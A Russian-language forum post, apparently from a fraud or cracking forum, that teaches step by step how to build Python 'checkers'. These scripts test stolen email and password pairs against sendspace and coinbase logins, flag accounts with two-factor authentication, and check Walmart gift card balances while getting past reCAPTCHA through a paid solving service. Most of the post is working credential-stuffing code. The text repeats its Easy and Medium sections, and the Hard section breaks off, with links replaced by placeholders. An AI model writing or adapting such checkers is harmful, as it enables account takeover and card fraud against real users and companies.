- Сообщения
- 243
- Реакции
- 1,774
Level Easy
Для примера возьмем сайт: sendspace.com
1. Регистрируем валидный аккаунт и жмем Ctrl+Shift+I
2. Переходим во вкладку: Сеть (Network) и жмем Clear (возле красной кнопки)
3. Проходим авторизацию и ловим результат

Получаем код 301 и редирект
4. Выходим и снова заходим под не правильными данными. Ловим:

Код 200
5. Смотрим что мы все время отправляли

Менялись только email и password
6. Начинаем готовить блюдо
Код
import requests #импортируем нужную библиотеку
def Auth(email, password):
s = requests.Session() #создаем сессию
s.get("Ссылка#получаем куки ,первый вход
params = {
'action': 'login',
'submit': 'login',
'target': '+DTgzAw9+W09fw4qSrIRw5ekKlyh+/ND12NGxjzzoJBcnsQQTuX1hHKKlFftTy2Jn18=',
'action_type': 'login',
'username': email,
'password': password,
'remember': 'on'
}
r = s.post( # отправка POST запроса используя нашу сессию
'Ссылка#куда отправим запрос
data=params, #данные формы
allow_redirects=False #Запрещаем редиректы, чтобы нас не перенаправило и мы не пропустили статус код
)
s.close() #закрываем сессию
if r.status_code == 301:
print("Good account")
elif r.status_code == 200:
print("Bad account")
else:
print("Some shit")
Auth('emailee@email.com','123qwe321')
О том куда мы отправляем запрос и какой тип запроса. Говорить не нужно)
Level Medium
Парсим значения формы и нужны куки.
Подопытный coinbase. Просто чек на валид.
Цитата
1. Открываем coinbase.com/signin и жмем Ctrl+Shift+I
2. Переходим во вкладку: Сеть (Network) и жмем Clear (возле красной кнопки)
3. Проходим авторизацию и ловим результат

Код 302 редирект

Сюда, включен 2ф
4. Вводим не правильные данные

Тот же редирект

Но сюда
5. Смотрим что все время отправляли

6. В куках такого нет и в хеадерах тоже, открываем исходный код страницы входа

7. Готовим блюдо:
Код
from bs4 import BeautifulSoup #либа для парсинга
import urllib #либа для url encode
import requests # отправка запроса
def getAuth(email, password):
header = { # хеадер
'Accept-Language': 'en',
'Accept-Encoding': 'gzip, deflate, br',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded',
'DNT': '1',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1'
}
session = requests.Session() # начало сессии
session.headers.update(header) # ставим хеадеры для сессии
r = session.get("Ссылка# первый вход
params = {
'commit':urllib.quote('Sign In'),
'stay_signed_in': "1",
'utf8':urllib.quote("✓"),
'email':urllib.quote(email),
'password': urllib.quote(password),
"authenticity_token": urllib.quote(BeautifulSoup(r.text, "lxml").find('input',{"name":"authenticity_token"})['value']) # парсим токен
}
r = session.post("Ссылкаallow_redirects=False, data=params)
session.close()
if r.headers['location'] == 'Ссылка#если cюда то 2f
print 'Good!'
elif r.headers['location'] == 'Ссылка# не валидный
print "Bad"
else: # значит без 2f
print "Good"
getAuth("emailaccc@dmna.zn","Password123Qaz")
Level Hard
Работа с куки, капчей и парсинг ответов.
Подопытный: walmart. Чекаем баланс карт. Используем офф. либу ruCaptcha для Python (pip install python-rucaptcha)
Цитата
Подготовка
1. Ищем iframe на странице с src="Ссылка
2. В нем видим: k=6LfTwxsTAAAAAK9lS9yRZdEWsatDuXqMK9kGbIhd&...". Значение k - это и есть G-Site-Key = "6LfTwxsTAAAAAK9lS9yRZdEWsatDuXqMK9kGbIhd"
Начали
1. Открываем Ссылка, жмем Ctrl+Shift+I
2. Переходим во вкладку: Сеть (Network) и жмем Clear (возле красной кнопки)
3. Заполняем все и отправляем правильно, ловим результат

Код 200 и JSON ответ
Для примера возьмем сайт: sendspace.com
1. Регистрируем валидный аккаунт и жмем Ctrl+Shift+I
2. Переходим во вкладку: Сеть (Network) и жмем Clear (возле красной кнопки)
3. Проходим авторизацию и ловим результат

Получаем код 301 и редирект
4. Выходим и снова заходим под не правильными данными. Ловим:

Код 200
5. Смотрим что мы все время отправляли
Менялись только email и password
6. Начинаем готовить блюдо
Код
import requests #импортируем нужную библиотеку
def Auth(email, password):
s = requests.Session() #создаем сессию
s.get("Ссылка#получаем куки ,первый вход
params = {
'action': 'login',
'submit': 'login',
'target': '+DTgzAw9+W09fw4qSrIRw5ekKlyh+/ND12NGxjzzoJBcnsQQTuX1hHKKlFftTy2Jn18=',
'action_type': 'login',
'username': email,
'password': password,
'remember': 'on'
}
r = s.post( # отправка POST запроса используя нашу сессию
'Ссылка#куда отправим запрос
data=params, #данные формы
allow_redirects=False #Запрещаем редиректы, чтобы нас не перенаправило и мы не пропустили статус код
)
s.close() #закрываем сессию
if r.status_code == 301:
print("Good account")
elif r.status_code == 200:
print("Bad account")
else:
print("Some shit")
Auth('emailee@email.com','123qwe321')
О том куда мы отправляем запрос и какой тип запроса. Говорить не нужно)
Level Medium
Парсим значения формы и нужны куки.
Подопытный coinbase. Просто чек на валид.
Цитата
1. Открываем coinbase.com/signin и жмем Ctrl+Shift+I
2. Переходим во вкладку: Сеть (Network) и жмем Clear (возле красной кнопки)
3. Проходим авторизацию и ловим результат

Код 302 редирект
Сюда, включен 2ф
4. Вводим не правильные данные

Тот же редирект
Но сюда
5. Смотрим что все время отправляли
6. В куках такого нет и в хеадерах тоже, открываем исходный код страницы входа
7. Готовим блюдо:
Код
from bs4 import BeautifulSoup #либа для парсинга
import urllib #либа для url encode
import requests # отправка запроса
def getAuth(email, password):
header = { # хеадер
'Accept-Language': 'en',
'Accept-Encoding': 'gzip, deflate, br',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded',
'DNT': '1',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1'
}
session = requests.Session() # начало сессии
session.headers.update(header) # ставим хеадеры для сессии
r = session.get("Ссылка# первый вход
params = {
'commit':urllib.quote('Sign In'),
'stay_signed_in': "1",
'utf8':urllib.quote("✓"),
'email':urllib.quote(email),
'password': urllib.quote(password),
"authenticity_token": urllib.quote(BeautifulSoup(r.text, "lxml").find('input',{"name":"authenticity_token"})['value']) # парсим токен
}
r = session.post("Ссылкаallow_redirects=False, data=params)
session.close()
if r.headers['location'] == 'Ссылка#если cюда то 2f
print 'Good!'
elif r.headers['location'] == 'Ссылка# не валидный
print "Bad"
else: # значит без 2f
print "Good"
getAuth("emailaccc@dmna.zn","Password123Qaz")
Level Hard
Работа с куки, капчей и парсинг ответов.
Подопытный: walmart. Чекаем баланс карт. Используем офф. либу ruCaptcha для Python (pip install python-rucaptcha)
Цитата
Подготовка
1. Ищем iframe на странице с src="Ссылка
2. В нем видим: k=6LfTwxsTAAAAAK9lS9yRZdEWsatDuXqMK9kGbIhd&...". Значение k - это и есть G-Site-Key = "6LfTwxsTAAAAAK9lS9yRZdEWsatDuXqMK9kGbIhd"
Начали
1. Открываем Ссылка, жмем Ctrl+Shift+I
2. Переходим во вкладку: Сеть (Network) и жмем Clear (возле красной кнопки)
3. Заполняем все и отправляем правильно, ловим результат
Код 200 и JSON ответ




